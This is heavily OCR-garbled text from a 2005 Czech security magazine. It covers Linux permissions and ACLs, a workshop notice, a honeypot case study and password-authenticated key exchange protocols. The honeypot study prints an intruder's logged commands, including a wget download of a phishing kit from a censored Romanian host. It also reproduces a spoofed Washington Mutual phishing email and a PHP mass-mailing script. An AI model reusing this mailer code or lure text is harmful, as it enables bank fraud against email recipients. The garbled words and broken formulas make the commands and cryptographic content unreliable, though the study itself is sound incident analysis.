vstup do adresa - gistup k soubamm. Pokud chci smazat soubor, musim mit v daném
adreséi pravo w. Pokud chci smazat adrésdmusim mit pravow na vSechny jeho
podadresie.

Sekvenci znak drwxr-xr-x mizeme rozdlit na ¢tyri ¢asti. Prvni¢ast oznauje typ souboru a
nabyva zakladnich hodndl: pokud se jedna o adrédgako v naSem ifjpact), "-" pokud se
jedna o normalni soubdrpokud se jedna o symbolicky odkag pokud se jedn& o schranku.

Za typem souboru nésleduii trojice znaki, které reprezentujiffstupova prava pro vlastnika
souboru, skupinu, ktera se vaze k souboru a ostainatele. Pokud pozice obsahuje znak "-"
je pravo odefeno. Z naSehoffkladu mizeme vyvodit, Ze vlastnik souboru, kterémutipat
prvni trojicerwx ma pravo na prohlizeni jmen soulberadres#, vytvareni a mazani soubor

a pravo vstupu do adrésa Nasledujici trojice znékr-x nam ik, Ze skupina vazana k
souboru ma pravo na prohlizeni jmen v adieaapravo vstupu do adrasa Pravo na
vytvaieni a mazani soubojji je odeeno. Zbytek s¥ta neboli ostatni, reprezentovarett
trojici r-x maji v naSemippack stejna prava jako skupina.

Pristupova prava f¥e nenit vlastnik souboru nebo superuzivatelikpz chmod. Vlastnika
souboru niZze nEnit pouze superuzivatel {jxaz chown. Skupinu, ktera se vaze k souboru
muze menit bud’ superuzivatel, nebo vlastnik souboru, pokudiipdd pivodni i cilové
skupiny (gikazchgrp).

DuleZité je popsat algoritmus, jakym se rozhodne,mdauZivatel to wité pravo {, w nebo

X). Funguje to takto: Nejive owtime, zda ten, kdo chce daného prava vyuzit, je
superuzivatel. Pokud ano, ma povolefisjup. Pokud ne, &vime, zda-li je vlastnikem
souboru. Pokud ano, tak &ime, jestli ma povolené dané pravo a podle tohoolbme
piistup. Pokud ne, @vime, jestli pati do skupiny, na kterou se vaze soubor. Pokud tako,

12
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ovérime pravo skupiny na danou akci a podle toho powlistup. Pokud ne, tak &kime,
jestli m& zbytek stta (ostatni) pravo na akci a povolime nebo zamiengistup.

Prava soubdrmohou byt reprezentovandiselnymi soustavami - konkreétise pouzivaiech

¢isel v osmikové sousta¥, VSimreme si, Ze pravo je zadané tak, Ze j@ lmovolené nebo
zakazané. Z toho vyplyva, Ze naSi sekvemoir-xr-x mizeme pepsat nal11101101a po

pievedeni vSechréch trojic 111, 101 a 101 do osmékové soustavy dostanen¥®5 Tuto

hodnotu nizeme pouZzivat k gméni pristupovych prav ftkazemchmod

Jak jiz byloteceno, znéna prav se provaditixazemchmod V pripac pouziti reprezentace
prav v osmikové sousta¥je situace jednoducha:

chmod 751 file.txt
Tento gikaz znéni pristupova prava soubofile.txt narwxr-x--x.

Pokud chceme néiklad pridat pravo na spudti pro vlastnika, skupinu i ostatni u souboru
file.shprovedeme toikazem:

chmod +x file.sh

Pokud bychom najklad chtli piidat pravo zapisu jen pro skupinu u soubfideush provedli
bychom to takto:

chmod g+w file.sh
Pokud bychom toto pravo étitodebrat, vypadalo by to nasled@vn
chmod g-w file.sh

Vidime, Ze pidani gistupového prava se realizuje pomoci symbolu "8tabirani probiha
pomoci symbolu "-". Vlastnik souboru je reprezearogymbolernu, skupina symboleny a
zbytek s¥ta symboleno.

Specialnim fipadem je tzvsticky bit ktery se aplikuje na adrésa Pokud je na adrasa
nastaven sticky bit, fize uzivatel mazat pouze ty soubory, které v tonthesdi vlastni.
Toto je vyhodné pouZzit n&jglad na adregdtmp nebo/var/tmp kam maji ¥tSinou moznost
zapisu vSichni uzivatelé. Sticky bitteme pidat griikazemchmodtakto:

chmod +t /tmp

Adres& vybaveny timto bitem pozname podle znakumist nastaveni prava provad (x)
pro ostatni.

Je nutné jestzminit, podleceho se utuje vychozi nastaveni prav soubor tzn. pokud
vytvoii uzivatel novy soubor, jaka bude mit tento soytid@stupova prava. Toto seduije

piikazem umask ke kterému piddame parametr, kteryi@dstavuje fstupova prava v
osmikove soustay/

DalSi informace Ize nalézt napv manualovych strankachitikazu chmod (piikaz man

chmodg.
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ACL

ACL (Access Control List) je komplexj$i feSeni pistupovych prav v Linuxu (samiggng i

na jinych operé&ich systémech). Umaiaje nam nastavit takova prava, ktera bychom s
béZnymi pravy v Linuxu &ko realizovali nebo bychom to realizovali velmoAte. Nag.
pokud budeme chtitil¢lit souboru pravo zapisu pro uzivatdigkas karel a jachym a
ostatnim uZivatéim ze skupinyzamestnanagptistup zakézat. Superuzivatel by tejme eSil

tak, Ze by vytvéal dalSi skupinu, kam by tytdituzivatele umistil. Ale pokud nemate prava
superuzivatele, tak narhete gidavat dalSi skupiny, takZze pr@imého uZivatele je zvoleni
politiky pristupovych prav neuskuteitelné. ACL nezavadi zadnégyratné zriny v modelu
pristupovych prav, ale spiSe razge model zakladni.

Model ACL podle specifikace POSIX 1003.1E, kterapge unixové systémy typicka,
podobré jako u EZnych linuxovych prav, umaije definovat pro kazdého uzivatete
skupinu fi druhy prav a to pravéteni, zapisu a spou$ti — obdobs u adreséi. DalSim
atributem je maska, ktera symbolizuje Udaj nejws$irav, ktera Ize nastavit pomoci ACL a
vztahuje se pouze na skupinu. Tato maska se tramgj® na masku v klasickém modelu a je
vyuzivana aplikacemi, které ACL nepodporuji¢pmz toto nerize dany soubor zbavit prav,
kterA mu byla pdélena. Déale jsou specifikovana tzv. standardni A@hg{. default ACL)
prava, ktera se uplatji pri vytvareni nového souboru nebo adiesavnit adresée, kde jsou
tato prava definovana. Samotnd ACL prava podatireaapodsoubdr jsou z@&déna po
rodicovském adresa Podadres@ cdi i standardni ACL prava.

Podpora ACL pro souborové systéemy Ext2fs a Ext3iSlaps linuxovym kernelem 2.5.46,
coz je samazjmeé jadro vyvojové. Stabilni jadréaady 2.6 podporu pro tyto souborové
systémy ACL obsahuji. Na jadrsady 2.4 je nutno pouZzit patch, ktery lze sehnat na
domovskych strankéch projektu ACht{p://acl.bestbits.at Co se tye ostatnich souborovych
systént, tak ReiserFS a XFS je na linuxovych jadréady 2.4 podporovano a na JFS je
nutné pouzit patch z domovské stranky projekEs for Linux(http://jfs.sourceforge.ngt
Nekteré distribuce, které nepouzivaji Vanilla jad@ndb jadro hlavni vyvojové étve
dostupné Attp://www.kernel.org, mohou obsahovat podporu ACL ifad 2.4 - napiklad
SuSE¢i Mandrake.

K zobrazeni ACL prav se pouziva utilgatfacl Pouziti nize byt napiklad takovéto:

getfacl /etc/file

Nebo pokud bychom célt vypsat standardni ACL prava adrésédak by zapis vypadal takto:
getfacl -d /etc/directory

Samotné nastaveni a modifikace ACL prav se rea@ipomoci utilitysetfacl Volba, kterou
budeme jmé nejvice pouzivat je volbam, kterd slouzi k modifikaci ACL prav.
Alternativou k této volb je volba--set kterd smaze sdasna ACL prava a vytvd nova.
Nesmime zapomenout, Ze tato volba vyZaduje zad@ni gro vlastnika, skupinu i ostatni.

Volbou-x Ize ACL prava odstranit. Pouzgétfaclmize vypadat najklad takto:

setfacl -m u:pepa:rw /etc/file
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Vidime, Ze v naSemifpacdt ma hodnota volbym tfi ¢asti. Prvni¢ast specifikuje, zdali se
jedna o uzivateleu(nebousel), skupinu ¢ nebogroup), masku i nebomask nebo ostatniq
nebo other9. Druhd hodnota fedstavuje UID v fipad uZivatele nebo GID v ifpact
skupiny. V ostatnich ffjpadech je pole prazdné. Posledsdist charakterizuje samotna
piistupova prava, jejichz symbolika je jiz vice naZrja. Druhym parametrem utilggtfaclje
nazev soubordi adresée.

Jednim z probléinje implementace ACL v NFS klientechigdevsSim u NFS kliefitverze 2,
kdy je rozhodovano u cachovanych soubpodle klasickych unixovych prav. Nasledky si
kazdy dokaze iedstavit. U NFS verze 3 je situace lepSi. Kontfmav probiha na stran
serveru pomoci tzv. ACCESS RPC volani, které ov3wmmuseji podporovat vSechny
implementace NFSv3. NFSv4 uz s ACL umi pracovat paldpora pro Linux neni Uplna. Jak
se dozvime dale, je mnohéwibdi, prat NFS nepouZzivat a toto je jisieden z nich.

Situace u projektu Samba je Uplapana. ACL bylo v Samé zabudovano davnoigdtim,
nez se objevila implementace ACL v Linuxu. Pro® &ambu bez jakychkoliv potizi nasadit.

DalSi informace Ize ap nalézt v pislusSnych manualovych strankach.

Atributy soubor @

Atributy souboil jsou Uzce spjaty se samotnymi pravy souberrozSiuji zakladni ramec
bezpénosti soubak. Atributy souboli miZzeme zobrazit flkazem Isattr. Kazdy atribut
reprezentuje znak, podobrako tomu bylo u samotnych prav v Linuxu. V tallsou
vypsany atributy, které mohou byt 2mény pfi pouZiti souborového systému ExiZExt3.

Znak Vyznam

A Neaktualizuje atime souboru.

a Otevira soubor pouze vigavacim maodu.

c Soubor je na disku automaticky komprimovan.

Soubor neni mozno nijak pozmit, vymazat neboigjmenovat.

Ochrani soubor proti vymaz&hsticim programem.

Soubor je odstrgn bez moznosti navraceni obsahu.

V okamziku modifikace souboru je soubor zapsadisia

clpnlula

Pokud je soubor odstram jeho obsah je zachovan.

Zménu tchto atributt miZzeme provést pomoctigazuchattr nagiklad takto:
chattr +i /etc/passwd

Nebo vratit do fivodniho stavu takto:

chattr -i /etc/passwd

Je Zejmé, Ze pidani atributu se provadi znakem "+" a sundanbatui znakem "-".
DalSi informace Ize nalézt v manualovych strankamizitych pikazi.
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EA

EA (Extended Attributes) rozsiji klasicky model atribdt v Linuxu. UmoZuji libovolné
nadefinovat dalSi atributy souboru — nazev atribatihodnota atributu. Zobrazenricito
atributi se provadi fikazem gtfattr.

K vytvoreni nového atributu iZzeme pouzit fikaz setfattrnagiklad takto:

setfattr -n autor -v Josef /home/pepa/bak.tex

Podporu EA protizné souborové systémy zdji§i patche, které lze nalézt édgad na URL
http://acl.bestbits.at/download.html

V nasledujici¢asti tohoto kratkého serialu se budeme zabyvktienymi ¢astymi problémy a
chybami administratar

D. MikuladSska kryptobesidka 2005
Ing. Dan Cvréek, Ph.D.(http://www.buslab.cy

MikulaSska kryptobesidka MKB 2005 je tradiéni workshop ¥novany kryptografii a
informani bezpénosti, ktery se snazi, dosud &Sg, vyvarovat komemich prezentaci.
MKB se letos kona popaté. Usktté se zaatkem E

prosince v Praze. Program je rélmh do jednoho a
pul dne. Sklada se z vybranychigpivki, panelové
diskuse s odborniky a zvanych prezentaci. Letas |
pozvani Lubos Brim (Masarykova Univerzita v Byn
George Danezis (Cambridge University a nyni
Leuven) a Dieter Gollmann (TU Hamburg-Harburg
V letoSnim roce bude program navic obohace
vyhlaseni vysledk studentské sotite
KEYMAKER. VSechny potebné informace,
podrobnosti 0 programu,cgtre on-line registrace
naleznete nattp://www.buslab.cz/mkb .

Workshop je ptadan firmou TNS za podpory sponZoEracom Technologies a GiTy a
medialni podpory e-zinu Crypto-Worldu¢asopisu DSM. Organizai vybor srdén¢ zve k
Gcasti na MKB 2005.

MKB je pravidelr® zakorfovana mikulasskou tombolou...

Fotografie z laské akcehttp://www.tns.cz/kryptobesidka/foto/
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E. Honeypot server zneuzit k bankovnim podvodm,
Cast 2 — Analyza utoku
Ondiej Suchy, LOGIOS s.r.0.,(ondrej.suchy@logios.§z

Uvod

V prazdninovémcisle ¢asopisu CryptoWorld (7-8/2005) jste si mohliefist ¢lanek o
technickémieSeni honeypot serverurddstavili jsme honeypot jako navnadu v pogob
zranitelného informéniho systému @enou k analyze chovani étdka.

Rekapitulace pripadu

Patatkem roku 2005 jsmefipojili k Internetu zranitelny server se systémenmux
(,honeypot“) a sledovali, co se bude dith®@m dvou df po instalaci kdosi neznamy nasi
past napadl a instaloval webovou aplikaci pro bank@odvody, které imitovaly prezentaci
americké banky a vyzyvaly uzivateleéitk zadani jména a hesla.

Prisptvek z minuléhodisla se zabyval technickymi aspekty instalace avqmo takové
nastrahy. V této studii na minulflanek navdzeme a podivame se daranost Ut@nika.
Uvedeme pouZity software, probereme chovani ,hafkersystému a pokusime se vyvodit
n¢které obecné zévy o podobnych Utocich a mozné prevenci.

Pouzity systém a jeho zranitelnosti

Jak uz bylo zmigno, pouzili jsme velmi zastaraly systtm Red Hatukirverze 7.3. Jako
jedna z mnoha #dvych aplikaci byl spush server Samba pro sdileni diskrotokolem
CIFS. ProtoZze zadna aplikace nebyla po instalatiadikovana, server Samba obsahoval

vzdale® pristupnou zranitelnost ve fokm preteeni zasobniku ip pouZiti funkce
call_trans2open (viz [1], [2]).

Tato zranitelnost je znama jiz od roku 2003 a neerhetu lze pro ni najit celoiadu
~exploiti“ - programi na jeji zneuziti. Exploit Gtmikovi spusti terminélovou relaci (,shell”)
s pravy administratora, takZze napadengifa® je bdhem okamziku pod Uplnou kontrolou.

Prvni Utok p¥iSel od automatického programu

Prvni zneuziti zranitelnosti v programu Samhb@lp dva dny po spudti systému. Ze
zaznani programu Sebek, ktery hlida stisknuté klavesy [3]% je Z'ejmé, Ze po fypojeni na
doty¢ny port nedoslo k Zadné dalSi akiviZ toho se domnivame, Ze jsme byli napadeni
programem, ktery ma za ukol pouze vyhledavat $pedbezpéené servery.

2 Ano, jsem jeden zth, ktei preferuji ozn&eni ,hacker”.

17



Crypto-World 9/2005

c Analysiz and Security Engine (EASE): Aler1 - Firefox

Soubor  Uprgwy  Zobrazit  Pejit  ZaloHy Nastroje MapoyEda

& . @ @ | % hu,u.,.',fids logios.cz/base_qgry_ attrtphp?s.uhmltn'»ﬁzl? j j[(_.‘;l,, J ﬁ

[Bﬂ:k]

Queried on : Wed January 05, 2005 19:48.51
Sensor = [2] LOGIOS_pawn:ned ..clear..

Meta Crilera

IF Crierk any
Layerd Crisrn  none

Payload Criteria.  any

Added Dakdis) 1o the Al cache
Alert #8

<< Previous #65-(230) | > Next#8-(2.32) |

# Time i 'llhn-n_ui ﬁlﬂl re
2- W | [urf [cve] [icat] [bugtrag] [snort] NETBIOS SMB
31 e | trans2open buffer overfiow atbempt
Sensor

| LOGIOS pawn | ne3 none

hen none
Group

| soumeaddr  destaddr m?“"' m‘um? D ‘im‘d’hﬂ TIL chisum

200, 128 % w4 [ 5 32 [ 1500 14427 0 [ 0 |48 [ 4158 _
PageFiank. 5
et @ Paehank | g |

Obr. 1: zaznam z IDS programu Snort o Utoku na Sasebver

Podobné programy jsou &V ukryti identity typicky spou®hy na pgitacich dive
napadenych a nic netuSicichétbAutomaticky prochazeji celé bloky IP adres &kaadou z
nich zkouSeji utené ,exploity*. Do souboru zaznamenavaji vSechnglegky, majitel
programu si je pozii vyzvedne.

Druhy atok, tentokrat zivy ato ¢énik
O osm hodin pozii se ze stejné IP adresyipojil zivy utoénik. Znovu zneuzil stejny
bezpénostni problém v Sangba otewel si rekolik terminalovych relaci. Ty nejzajim&gi

zde uvedu.

Zde jsou uvedenyifkazy, které uténik zadaval.Radky uvozené gzenim* # jsou mé
komentée.
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cd /tmp

Is -a

mkdir .trimite

cd .trimite

# utainik trochu tape a ské po adreséch

# nezajimavéadky jsem zde vymazal

cd /lib/security/www

cd curatare/

# curatare je znamy aiane dostupny ,rootkit®, tedy

# balik iznych zadnich vratek, nastiiggro mazani log

# a dalSich hackerskych utilit

Is

cd /usr/local/lib

Is -a

wget *** *** ro/balaci.tgz

# Z rumunské adresy (EBxdickami jsem ji zcenzuroval j&)
# si ut@nik stahuje archiv

tar xzvf balaci.tgz

rm -rf balaci.tgz

# Balaci je rumunské sloveso a znamena cosi jaétetse”, ,cakat".
# balaci.tgz je archiv, ktery obsahuje faleSny é-ma

# od banky, seznam adres a program na rozeslatyi pos
Is -a

touch

touch list.txt

pico

# pico je unixovy textovy editor

cat << list.txt >> EOF

cat >> list.txt << EOF

# Podvodnik chce naplnit seznam adres, algivejdpotebuje
# ujasnit, jak se pouzivagsnérovani standardniho vstupu.
Is -a

cat list.txt

php -f wamu.php

# Podvodnik spousti program, ktery rozesila postu.

V jiném terminadlovém sezeni ok prepsal celouradu systémovych progrdmaby si
zajistil zadni vratka a kryti proaiesPouzil gedem pipraveny ,rootkit, ktery vSak nebyl
zkompilovan na miru naSemu systému, takisstalo fungovat velké mnozstvi systémovych
progranti. | administrator, ktery nema znalosti o beapsstnich incidentech, byrgme pri
prvnim @ihlaseni zjistil, Ze se systémem nedimv pdgadku.

$su -
Segmentation fault
$

Ukryvani proces prostednictvim modifikovanych systémovych utilit je jizastaralé,
moderrjSi je pouzivat moduly do jadraidkvapiw si Gtainik instaloval podobnych systém
hned rkolik (mimo jiné kernelovy rootkit SuckIT ogeského autora sezdivkou ,sd” [4]).
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Aplikace pro bankovni podvod

Ve vySe uvedenémipisu terminalového sezeni vidime soubory wamu.pggp.txt a list.txt.
Prvni slouzi k rozesilani posty, list.txt obsahsgznam IP adres a test.txt obsahuje HTML
kod s textem podvodného e-mailu. Zprava tvrdi rgiei:

We recently have determined that different comput@ve logged onto your Online
Banking account, and multiple password failuresevpresent before the logons. We
now need you to re-confirm your account informatioms. If this is not completed by
December 22, 2004, we will be forced to suspend gocount indefinitely, as it may
have been used for fraudulent purposes. We thaokfgroyour cooperation in this
manner.

To confirm your Online Banking records click here:
https://login.personal.wamu.com/logon/logon.asp

Strweny preklad: Nekdo se pokousel dostat na va®itl Co nejrychleji seifhlaste a potut'te
své Udaje. Adresa se Wdako skuténé URL banky, ale kliknutim se of@wu faleSné stranky
ze serveru pod kontrolou wuka. Datum December 22 2004 jiz v dokonani pokusu
uplynulo, ut@nik si asi nedla pxiliS starosti s Gpravou e-mailu.

Soubor wamu.php obsahuje kdd v jazyce PHP, ktenyoseéara o rozeslani poSty na vicero
adres uvedenych v souboru list.txt éopkraceno, vybral jsem jen to nejpodstgi:

...
$mail_header = "From: Washington Mutual Security
service<service@wamu.com>\n";
$mail_header .= "Content-Type: text/htmi\n";
$subject="WARNING: CONFIRM YOUR ONLINE BANKING RECRDS";
...
$fp = fopen("list.txt", "r");
while ('feof($fp)) {
fscanf($fp, "%s", $name);
mail($name, $subject, $body, $mail_header);

}
...

Zvlastni je, Ze rozesilaci skript je spanst pikazovéradky pomocicadkového interpreteru
PHP, gitom vSak nelze &ekavat, Ze tento interpreter (tzv. CLI, CommandeLlInterface)
bude instalovdn na kazdém serverii. iRstalaci PHP modulu pro webovy server se musi
vyslovre urcit, Ze se bude instalovat i CLI. Jéast servar podporuje PHP a z nich jeist
podporuje CLI. Univerzaljsi by bylo pouzitieba perl nebo unixovy shell.

FaleSné stranky umété na naSem serveru, na ktery se odkaztge [° adresu, vyzyvaji k
zadani ,udaj pro owieni“ a drze vyzaduji vloZedisla platebni kartydetrg PIN.
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Obr. 2: FaleSné stranky umésie na naSem serveru, které vyzyvaji k zacigtd platebni
karty

Balik balaci.tgz obsahuje kramfaleSnych stanek banky Washington Mutual i podéodn
stranky platebni sluzby PayPal, takZze podvodniknegpecializuje jen na jednu jedinou
sluzbu. Dale mizeme v archivu najit i sadu skrippro kontrolu IRC, bohuZel bez jmen
konkrétnich diskuznich kanal

Zaveér

Ucelem pokusu nebylo patrat po konkrétni asdiesto se rizeme zminit, Ze ze t&ivych
zaznani vyplyva, Zze hackerské programy byly stahovany mumskych servér a nazvy
nastrofi obsahuji rumunska slova.tukaz to neni, ale o rumunské narodnosticatki

muZzeme minimald spekulovat.

Dale je zde &kolik indicii: tapani nad spravnym zapiserfegnérovani STDIN, destrukce
systémovych prograimnekompatibilnim rootkitem, chaoticka instalaé&alika kernelovych
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rootkiti. Z toho Ize usuzovat, Ze @tk neni zrovna expertem na UNIX, pospicha a moc si
nelame hlavudkledky.

Utoénik se wibec nestaral o ¢j$téni“ systémovych lof Z toho plyne, Ze se neobéava
odhaleni. Zejm¢ proto, Ze na nasS honeypotigiupoval vyhradé z jinych napadnutych
servefi, které zabezp®valy ukitou anonymitu a nedohledatelnost.

Phishing je moderni

Utoky na jednotlivé p&tate nejsou nijak dokonalé, podvodnici se s nimi zjeyremazou®.
Zrejmé berou napadnutelné §itace jeden po druhém jako p@&dicim pasu, nez&tuji se
podruznymi ¥cmi jako je kompilace spravného rootkitu nebo mazéswnani. Prosé
instaluji zadni vratka, zprovozni faleSné strantozeSlou Bkolik set e-mail a jdou dal.
Uspssnost vyzvy k zadarsisla platebni karty je asi minimalni, takZe zj&yae o rozeslani co
nejvétsSiho p@tu podobnych zprav.

Pravd@&podobnost rozkryti podobnych podvode mala a vyzadovala by mezinarodni
spolupraci vysétjicich tymi. Urcité Sance by mohly spivat v monitoringu IRC a dalSich
komunikanich kanal. Dotyna osoba (nebo spiS osoby, nehlio podvodnici nejspis
operuji ve skupinach) evidedtmema nijak oslnivé odborné znalosti. Jakmile sdafigi
vytipovat, mohl by byt k dispozici dostateklha.

Poweni: po utoku je pozd, musime dbat na prevenci

Nas server byl instalaci nekompatibilniho rootkitucen, protozZe festaly fungovat zakladni
systémové utility. U honeypot pasti to saifemae nevadi, ale pro provozni server by to bylo
fatalni a musela by nasledovat kompletni reinséataczaloh nebo distribnich médii.

To jen zdiraziuje nutnost prevence. Kazdy server by mit instalovany nejnaysi aplikani
zaplaty. Pokud se objevi novy begpestni problém, je jen otazkaasu, kdy Bkdo napiSe
program na systematické vyhledani napadnutelny¢ftgsd. Nemizeme spoléhat na to, Ze
nas server neni na prvni pohled zajimavy cil, prdopné podvody se naopak budou hodit
nenapadné pitace zapomenutédkde pod stolem.

Pokud nemame pausalni platbu Zgpgeni, mize se namipad i dost prodrazit. Osobn
zndm c¢eskou firmu, ve které napadeny ¢pa¢ prenesl Bhem jednoho w&era
nékolikanasobek povoleného &sicniho datového limitu, protoZze rozesilal statisice
podvodnych e-mail

Pouzita a doporwena literatura

[1] Bugtrag:Samba 'call_trans2open' Remote Buffer Overflow &faloility,
http://www.securityfocus.com/bid/7294

[2] CVE Mitre: CAN-2003-0201
http://www.cve.mitre.org/cgi-bin/cvename.cgi?nam@d2-0201

[3] Suchy, O:TechnickéeSeni: Honeypot server zneuZzit k bankovnim paod
CryptoWorld 7-8/2005

[4] sd: Linux on-the-fly kernel patching without LKM
http://www.phrack.org/phrack/58/p58-0x07

[5] Honeynet Projectknow Your Enemy: Phishing
http://www.honeynet.org/papers/phishing/detaildideeynet_files/phishing-snort.html

22


http://www.securityfocus.com/bid/7294
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2003-0201
http://www.phrack.org/phrack/58/p58-0x07
http://www.honeynet.org/papers/phishing/details/de-honeynet_files/phishing-snort.html

Crypto-World 9/2005

F. Eskalatni protokoly - ¢ast 3.

Jan Krhovjak , Fakulta informatiky, MU, Brno
(xkrhovj@fi.muni.cz)

V této zawrecné casti si predstavime posledni dva z nami vybranych egkalh protokad.
Nasledovat bude kratké shrnuti, obsahujici (mimeé)jitaké strany vy'et rekolika dalSich
protokol:.

SRP

SRP (secure remote passwopdju97] je zcela novy typ protokolu, ktery (st&jjako rékteré

z predchozich protokd) zaji¥uje, Ze si server uchovava hesla pouze jednocestn
zaSifrovana. Narozdil od protokojako AEKE a ASPEKE (které jsou zaloZeny na pouZziti
digitalnich podpis) ¢i BEKE a BSPEKE (které vyuZzivajitidané kolo DH metody ustaveni
kli¢t) je SRP zaloZen na obecné konstrukci zvAKd& (asymmetric key exchang@ato
konstrukce oproti EKE zadnym agobem nevyuziva symetrickou kryptografii, coini
vysledné protokoly jednodussi a mnohdy i béndgi (neni jiz tebareSit Zzadné problémy
spjaté s pouzivanim hesel jakozto symetrickyclog#cich kigt). Protokol SRP je specialni
instanci AKE, a nabizi navic vysSi vykon nez srosim& protokoly jako ndjklad AEKE ¢i
BSPEKE.

Pro nasledujici popis protokoldguipokladejme, Zer je generator multiplikativni grupz}},
kde £ je bezpéné prvaislo, a Ze strana A na zakéakeslaP a solf Svygeneruje viejny kli¢
x = h(P,S)a verifikatni hodnotuv = a* mod 3. Hodnotux pak smaze, zatimco hodnotyS
dorwi strarg B (serveru).

V prvni ¢asti protokolu strana A zaSletgudentifikator strag B, ktera ji naz§t zaSle 8l S
nezbytnou k vyp&tu hodnotyx. Dale si strana A vygeneruje nahodfiélo ad (2, 5— 1)

a strana B nahodnéisla b, u (2, - 1). Vlastni popis druhé&asti protokolu pak vypada
nasledova:

C = a®modp -
- u,D=v+ a®modpg

Strana A poté vypsta spolény klic Ks = a® ***modgBjako (D — a*)® * **modBa strana B
jako (CV")’ modg. Kli¢ sezeni je pak vypitan jakoKs = h(Ks) a jeho znalost si v z&wesné
¢asti protokolu ot obe strany o¥fi.

Bezpe&nost této metody stoji natdkibzu z [Wu97], Ze existence techniky vedouci
v polynomialnim¢ase k ziskani kie sezeni pouzitého v SRP, by vedla také v polynioinié
case k rozbiti DH metody ustaveni&ii Z toho plyne, Ze SRP je alesptak bezpény jako
DH metoda ustaveni Kii.

% Princip soleni byl poprvé prezentovan v [MT79] a aplikace tétehtgky v souvislosti s popisovanymi
protokoly je popsana néglad v [BM93, Jabh97, Wu97]. Soleni prakticky zneaigje zjistit, zdali d¥
(stejre) jednocestdé zaSifrovana hesla vznikla ze stejnéleizce, a navic Utmikovi brani vytvéeni
slovniku takto zaSifrovanych hesel.
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Nekdy je tento protokol nazyvan SRP-3 a jeho vylepSarianta SRP-6 [Wu02].

PDM

Poslednim protokolem, ktery si popiSemeR @M (password derived moduliPKO1]. Tento
protokol je ogt zaloZzen na modifikaci DH metody ustaveniklia jak jiz nazev napovida,
vyuziva heslo k vytvieni bezpéného prvaiselného modulys (tj. modul musi byt tvaru
L =2y+ 1, kdeyje velké prvaislo).

Toho mize byt stranou A (klientem) dosazeno fiklpd vyuZzitim uzivatelského hesla jako
seminka generatoru pseudo-ndhodnyigel, ktery bude k hledani odpovidajici hodngty
pouzit. Strana B (server) heslo neznd a mé pptako verifikatni hodnotu bezpmé
uloZzenou. DH baze je u tohoto protokolu vZzay 2. Aby se pi oboustranné autentizaci
predeSlo nartnému umogovani, tak ma server navic uloZeniegpaitané hodnotyrB

a 2™ modg. Cely protokol pak vypada nasledavn

2™ modg .
. 2® modgB, R, h(2*"® modp)
h(R, 2*® modp) -

R je ndhodn vygenerovana hodnotaiipouziti PDM vyhradi k autentizaci mohou skutes

hodnotyrB a 2® mod g zistat pro daného klienta stejné. Pokud by ale cBgta i ustaveni
klice sezeni (zaloZzeného na ho@nat'® mod f), bylo by nezbytné nahodnsslo rB pro

kaBidy Eh protokolu generovat znova ¢&mz by samoiejmé souvisel i optovny vypaet

2" modp).

Aby se predeslo redukci prostoru hesel, nesmi byt Zadeagsena DH hodndtastsi nez
jakéakoliv B (vytvorené na zaklad zkouSenych heseP’). Tento problém Ize \eSit
zamitnutim pouZiti takovych nahodnyétsel rA arB, pro réz 2* mod 8 a 2® mod 3 jsou
Cisla WwtSi, nez nejmensSi mozn&d hodnofa vygenerovana z &ekého hesla. Aby
pravéépodobnost zamitani vySe uvedenych nahodriyshl byla co nejmensi (agreslo se
tak co nejvice jejich afftovnému generovani), bude gevolit z velmi Uzkého intervalu
prvacisel — v naSemifpact velmi blizkého mocni# dvou. PouZijeme-li nagklad 700bitova
¢isla, mizeme vhodny Uzky interval ziskat fixnim nastaveriiamnich 64 bii na binarni
hodnotul. Zbyly prostor 2% &isel je pro vyhledavani bezpe/ch prvaisel stale dostates
velky, a pravépodobnost, Z&fslo 2” mod 3 ¢ 2® mod B bude ¥t$i ne? nejmensi mozna
hodnotaBje 1/2*

V [PK99, PKO1] je také uvedencikolik modifikovanych protokal, které jsou uteny pro
bezp&né stahovani citlivych informaci (nidklad soukromych kéi).

* Jako DH hodnoty vifipads a = 2 oznaujeme2™ modS a2® modg.
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Shrnuti

V Gvodu tohoto serialu jsme se seznamili s prokoEKE [BM92], ktery k ustaveni ki
sezeni vyuziva sdileného hesla v kombinaci se sigketi i asymetrickou kryptografii
a poskytuje ochranu proti off-line Utk hrubou silou. MysSlenka tohoto zcela originalniho
protokolu se stala zakladem cdli@y now vznikajicich protokal.

Oproti pavodnimu EKE zaréuji protokoly DHEKE [BM92], DWEKE [Jas96], MEKE
[STWI5] ¢i SPEKE [Jab96] navidoprednou bezp@most (forward secrecy), coz znamena, ze
kompromitace hesla neumozni &ndkovi ziskat kite predchazejicich sezeni. Naviccira
byt také bran ietel na to, aby fjpadna kompromitace ki sezeni neumddvala utoky
vedouci k ziskani hesla. Nejgi nevyhodou vSech vySe uvedenych protbkadak stale
zastava nutnost uchovavat hesla na stregrveru v oteené podob. Tento nedostatek jako
prvni pekonava protokol AEKE [BM93], ktery je ro¥8him EKE a umaluje serveru
ukladat hesla jednocestrzasifrovana. Nevyhodou této modifikace EKE je,ptetokol uz
nezarduje dogednou bezpmost. Protokol BSPEKE [Jab97] jiz podobnymi nedibstaza
cenu podstatného zvySeni vyptni slozitosti netrpi. Efektigi feSeni pak nabizeji
protokoly SRP [Wu97] a PDM [PKO1].

Existuje samozjm¢ mnohem ¥tSi mnoZstvi protokdl zaloZzenych na pouZiti hesla.
Z nejvyznamgjSich zmiime napiklad protokoly jako AMP [Kwo00], AuthA [BR0O], OKE
[Luc97], PAK [Mac02], S3P [RCW98Ei SNAPI [MSPO00]. Velkou nevyhodou mnoha
z &chto (a jim podobnych) protokible, Ze nejsou prezentovany spokes dikazy, které by
prokazaly jejich bezpmost. Na #kolik z nich jiz byly objeveny atoky [Pat97]. ddteré

z protokoti jsou navic také patentovany.

Standardizaci protokblzaloZzenych na pouziti hesla se zabyva pracovrgiseUEEE P1363
— viz draft IEEE P1363.2 [IEEEO5]. Cilem tohoto ywfé&znikajiciho dokumentu vSak neni
upiednostini nekterych technik¢i protokoli pied jinymi, ale poskytnuti dost&@ho
mnozstvi fiznych metod, které se liSi jak fuirlosti, tak také efektivitou. Podrobny popis
jednotlivych metod pak slouZzi jakozto navod k jejimplementaci (a to jak na steaserveru,
tak také na stranklienta). Celko¢ se tento draft sklada z hlavisasti (obsahujici popis
jednotlivych metod), filoh (poskytujicich doprovodné informace) a nakrgsdnotlivych
postum. Bohuzel, jako mnoho jinych, je i tento draft patim zn&né negehledny a bez
dukladné znalosti jednotlivych technik a protokéémet netitelny.
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